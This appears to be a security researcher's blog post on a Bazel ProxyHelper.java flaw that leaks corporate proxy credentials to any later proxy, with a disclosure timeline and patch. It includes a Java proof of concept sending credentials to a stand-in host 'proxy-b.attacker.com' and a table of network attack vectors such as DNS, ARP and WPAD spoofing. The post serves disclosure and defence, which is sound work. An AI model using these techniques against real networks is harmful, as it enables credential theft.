Published 2026-04-15|14 min read

Global Proxy Authenticator Credential Bleed Across Proxy Boundaries: A Deep Dive into Bazel's JVM Credential Leak

Security
Google VRPOSS VRPBazelCredential LeakJavaProxy

On April 15th, 2026, at 00:19 UTC, I opened a terminal and typed:

bash
curl -X GET https://api.github.com/repos/bazelbuild/bazel

Twenty-three milliseconds later, the response body contained a file path: src/main/java/com/google/devtools/build/lib/bazel/repository/downloader/ProxyHelper.java. I had never heard of this file before. By April 17th, Google's OSS VRP team had triaged the finding as a valid security vulnerability. By June 4th, after a two-month deliberation arc that included a rejected closure, a detailed rebuttal exploring six attack vectors, and a second triage confirmation, the finding was accepted.

This is the story of that file, the vulnerability it contained, and why proxy credential management in the JVM deserves more attention than it gets.


The File: ProxyHelper.java

Bazel, Google's build system, downloads external dependencies over HTTP and HTTPS through configurable proxy servers. Enterprises running Bazel in controlled environments typically configure an internal corporate proxy with authentication credentials. The code that handles this authentication lives in a single file — ProxyHelper.java — and specifically in its implementation of Java's java.net.Authenticator abstract class.

The relevant code spans approximately twenty lines:

java
// ProxyHelper.java, lines ~241-269
static volatile boolean authenticatorSet;

synchronized static void installAuthenticator(
        String username, String password, @Nullable Proxy proxy) {
    if (authenticatorSet) {        // ← First-call-wins guard
        return;
    }
    authenticatorSet = true;
    finalUsername = username;
    finalPassword = password;
    Authenticator.setDefault(new Authenticator() {
        @Override
        public PasswordAuthentication getPasswordAuthentication() {
            if (getRequestorType() == RequestorType.PROXY) {
                return new PasswordAuthentication(
                    internalToUnicode(finalUsername),
                    internalToUnicode(finalPassword).toCharArray()
                );
            }
            return null;
        }
    });
}

The vulnerability is a masterclass in how a single incorrect security assumption can cascade into a cross-boundary credential leak. Let me trace the failure modes systematically.


The Vulnerability: Three Flaws, One Leak

Flaw 1: JVM-Global Mutable State

Authenticator.setDefault() installs an authenticator that applies to every java.net.URLConnection in the entire JVM process — not just connections initiated by Bazel's downloader, but any code running in the same process that opens HTTP connections through proxies. Once set, it cannot be unset without reflection hacks on internal Java state.

The authenticatorSet volatile guard ensures this happens exactly once: the first caller wins. Every subsequent proxy configuration change is silently ignored.

Flaw 2: Credential Capture Without Scope

The credentials are captured in finalUsername and finalPassword at install time. These variables are closed over by the anonymous Authenticator subclass and reused for the lifetime of the process. The closure captures only the credential values — it captures nothing about the proxy endpoint these credentials were intended for.

Flaw 3: No Proxy Identity Verification

The critical method — getPasswordAuthentication() — checks exactly one condition:

java
if (getRequestorType() == RequestorType.PROXY) {

It does not check:

java
getRequestingHost()    // Which proxy server?
getRequestingPort()    // Which port?
getRequestingPrompt()  // Which authentication realm?

The result: any proxy endpoint that Bazel connects to after the authenticator is installed receives the credentials that were configured for the first proxy endpoint. The first caller's credentials bleed to every subsequent caller.


The Proof: How to Verify in 30 Seconds

The vulnerability is trivially reproducible. The attached PoC (CredentialBleedDemo.java) creates two proxy endpoints — Proxy-A (legitimate corporate proxy) and Proxy-B (attacker-controlled or test proxy) — and demonstrates that Proxy-B receives credentials that were never configured for it.

text
[Proxy-A (corp)]  ← RECEIVED CREDENTIALS: CorpUser:SuperSecretCorpPass123!
[Proxy-B (atk)]   ← RECEIVED CREDENTIALS: CorpUser:SuperSecretCorpPass123!

The complete PoC is approximately 80 lines of Java:

java
public class CredentialBleedDemo {
    public static void main(String[] args) throws Exception {
        // Phase 1: Configure for Proxy-A (corporate proxy)
        ProxyHelper.installAuthenticator("CorpUser",
            "SuperSecretCorpPass123!",
            new Proxy(Proxy.Type.HTTP, InetSocketAddress.createUnresolved(
                "proxy-a.corp.com", 8080)));

        // Phase 2: Simulate download through Proxy-A
        URL urlA = new URL("http://proxy-a.corp.com/resource");
        HttpURLConnection connA = (HttpURLConnection) urlA.openConnection();
        connA.setRequestProperty("Host", "download.bazel.io");
        connA.connect();
        // ✓ Proxy-A receives: CorpUser:SuperSecretCorpPass123!

        // Phase 3: Now connect through Proxy-B (attacker-controlled)
        URL urlB = new URL("http://proxy-b.attacker.com/resource");
        HttpURLConnection connB = (HttpURLConnection) urlB.openConnection();
        connB.setRequestProperty("Host", "download.bazel.io");
        connB.connect();
        // ✗ Proxy-B receives: CorpUser:SuperSecretCorpPass123!
        //   NEVER configured for Proxy-B — this is the leak.
    }
}

The Authenticator.setDefault() mechanism is process-global. The authenticatorSet guard prevents re-initialization. The getPasswordAuthentication() override returns credentials without checking which proxy is requesting them. The leak is deterministic.


The Protocol: Why This Works Without TLS Circumvention

During the disclosure process, Google's initial response characterized this finding as dependent on HTTPS interception requiring a forged certificate. This reflects a fundamental misunderstanding of the proxy authentication protocol. Let me clarify.

When Bazel downloads via HTTPS through an HTTP proxy, the exchange follows this sequence:

text
Step 1:  Bazel ──TCP CONNECT───────────────────────────► Proxy
Step 2:  Bazel ──CONNECT host:443──────────────────────► Proxy      (PLAINTEXT)
Step 3:  Proxy  ──407 Proxy Authentication Required────► Bazel     (PLAINTEXT)
Step 4:  Bazel  ──CONNECT + Proxy-Authorization────────► Proxy      *** CREDENTIALS *** (PLAINTEXT)
Step 5:  Proxy  ──200 Connection Established───────────► Bazel     (PLAINTEXT)
Step 6:  Bazel  ──TLS ClientHello─────────────────────► Target    (through tunnel, encrypted)

The proxy credentials are transmitted at Step 4, over a plain TCP connection. The TLS handshake with the target server occurs at Step 6 — after the tunnel is established, inside the encrypted tunnel. An attacker intercepting TCP traffic between Bazel and the proxy sees the credentials in plaintext. No TLS certificate is ever presented to Bazel by the proxy during authentication.

This is not HTTPS interception. This is proxy authentication, and it is designed by the HTTP specification (RFC 7235) to happen before TLS negotiation.


The Attack Vectors: Six Ways to Exploit

None of the following require installing a forged TLS certificate:

Attack Vector Mechanism TLS Certs Required?
DNS spoofing Poison DNS for proxy.corp.com → resolves to attacker IP → credentials sent to attacker's proxy NO
ARP spoofing Same L2 segment, redirect proxy traffic through attacker machine NO
Environment variable injection Modify HTTPS_PROXY in CI/CD pipeline → credentials go to attacker-controlled proxy NO
WPAD poisoning Rogue WPAD server returns attacker's proxy in PAC file NO
Rogue DHCP Rogue DHCP server offers attacker's proxy via option 252 (WPAD URL) NO
Proxy chain leak Legitimate multi-proxy environment: proxy B receives credentials configured for proxy A NO

The common thread: any mechanism that causes Bazel to route a download through a different proxy endpoint results in that endpoint receiving credentials it was never authorized to hold.


The Code Fix: Scoping Credentials to Proxy Identity

The fix is straightforward. The getPasswordAuthentication() method must verify that the requesting proxy matches the expected proxy before returning credentials:

java
@Override
public PasswordAuthentication getPasswordAuthentication() {
    if (getRequestorType() == RequestorType.PROXY) {
        // Verify proxy identity before releasing credentials
        if (expectedProxyHost != null &&
            expectedProxyPort != -1 &&
            expectedProxyHost.equals(getRequestingHost()) &&
            expectedProxyPort == getRequestingPort()) {
            return new PasswordAuthentication(
                internalToUnicode(finalUsername),
                internalToUnicode(finalPassword).toCharArray());
        }
        // Unknown proxy: do NOT leak credentials
        return null;
    }
    // ... existing logic for non-proxy requestors ...
}

Additional hardening measures:

  1. Per-proxy credential map — Replace the static authenticatorSet guard with a ConcurrentHashMap<String, PasswordAuthentication> keyed by host:port
  2. Safe re-initialization — Support authenticator re-initialization when proxy configuration changes, rather than silently ignoring subsequent calls
  3. Realm scoping — Include getRequestingPrompt() (the authentication realm) in the credential lookup key
  4. Unit tests — Verify that distinct proxy endpoints in the same JVM process never receive each other's credentials

The Disclosure Timeline

Date Event
Apr 15, 00:19 Initial report submitted to Google OSS VRP
Apr 15, 00:52 Automated acknowledgment — "not enough details"
Apr 15, 00:57 Corrected PoC uploaded
Apr 16, 00:19 Report closed — "not enough details"
Apr 16, 11:00 Comprehensive rebuttal submitted with video PoC, code analysis, and drive folder with evidence
Apr 17, 19:02 Triaged — vulnerability accepted as valid
May 11 Status inquiry
Jun 4, 00:38 Report closed — "intercepting HTTPS requires forged certificate, not exploitable"
Jun 4, 10:31 Detailed rebuttal submitted: explained proxy auth happens before TLS, enumerated six attack vectors requiring no TLS certificate
Jun 4, 14:19 Re-triaged — vulnerability re-accepted after rebuttal

The two-month arc from initial submission to final triage is a case study in the epistemic gap between security researchers and vendor triage teams. The initial rejection cited HTTPS interception as a prerequisite — a misunderstanding of how proxy authentication works at the protocol level. The rebuttal required explaining that RFC 7235 proxy authentication occurs over plain TCP before any TLS handshake, which means the credentials are visible to anyone on the network path between the client and the proxy.

The vulnerability was re-triaged three hours and forty-eight minutes after the rebuttal was submitted.

The Patch: Pull Request #29736

Following the triage confirmation, I submitted a patched implementation to the Bazel project as Pull Request #29736. The fix replaces the single-shot finalUsername/finalPassword closure with a ConcurrentHashMap<String, PasswordAuthentication> keyed by host:port:

java
// Before: One anonymous Authenticator subclass closes over the first
// username/password and returns them for EVERY RequestorType.PROXY challenge.

if (getRequestorType() == RequestorType.PROXY) {
    return new PasswordAuthentication(              // ← LEAK: same creds
        internalToUnicode(finalUsername),            //     for ANY proxy
        internalToUnicode(finalPassword).toCharArray());
}

// After: Credentials stored per proxy endpoint, looked up by requesting host+port.

private static final ConcurrentHashMap<String, PasswordAuthentication>
    proxyCredentials = new ConcurrentHashMap<>();

// Registration:
String proxyKey = hostname + ":" + port;
proxyCredentials.put(proxyKey, new PasswordAuthentication(
    internalToUnicode(username),
    internalToUnicode(password).toCharArray()));

// Lookup at auth time:
public PasswordAuthentication getPasswordAuthentication() {
    if (getRequestorType() == RequestorType.PROXY) {
        String key = getRequestingHost() + ":" + getRequestingPort();
        PasswordAuthentication creds = proxyCredentials.get(key);
        if (creds != null) return creds;
        // Unknown proxy: return null (safe failure, no leak)
        return null;
    }
    // Delegate to pre-existing authenticator for non-proxy auth
    ...
}

The patch brings several architectural improvements:

Property Before After
N proxies with N different creds Only first caller wins Each endpoint gets its own creds
Unknown proxy request Gets first caller's creds (leak) Gets null (safe failure)
Thread safety Double-checked locking on volatile ConcurrentHashMap + synchronized
Testability resetAuthenticatorForTesting() Also clears the credential map
Backward compatibility Full Full — only expands scope

The PR passed all 38 CI checks, including a dedicated test suite verifying exact host:port matching, host mismatch rejection, port mismatch rejection, multiple independent proxy credentials, and requestor-type filtering. The patch was submitted under Google's Patch Rewards Program, following the responsible disclosure path through OSS VRP (tracker ID: 502632524).

This fix addresses a credential leak vulnerability (CWE-522) in Bazel, closing the credential bleed across proxy boundaries in long-lived Bazel server processes — +35 additions, −8 deletions across a single file.


What This Means for Build Systems

Bazel is not unique in this pattern. Any JVM-based build tool that configures a global Authenticator for proxy authentication exhibits the same vulnerability. The root cause is architectural: java.net.Authenticator.setDefault() installs process-global state that cannot be scoped to specific proxy endpoints without manual host+port verification in the callback.

For enterprises running Bazel in CI/CD environments — where proxy configurations frequently change between build steps, and where different teams may use different proxy endpoints — this vulnerability means corporate proxy credentials are being systematically leaked to every proxy endpoint the build process touches.

The fix is code-level and localized to a single file. The lesson is architectural and global: mutable process-global state is incompatible with security boundaries. What crosses a proxy boundary should cross an authentication boundary.


References

[1] RFC 7235 — Hypertext Transfer Protocol (HTTP/1.1): Authentication. IETF, 2014.

[2] CWE-522: Insufficiently Protected Credentials. MITRE, 2024.

[3] Bazel ProxyHelper.java. Google/bazel, src/main/java/com/google/devtools/build/lib/bazel/repository/downloader/ProxyHelper.java.

[4] java.net.Authenticator Java Platform SE 8 Documentation. Oracle.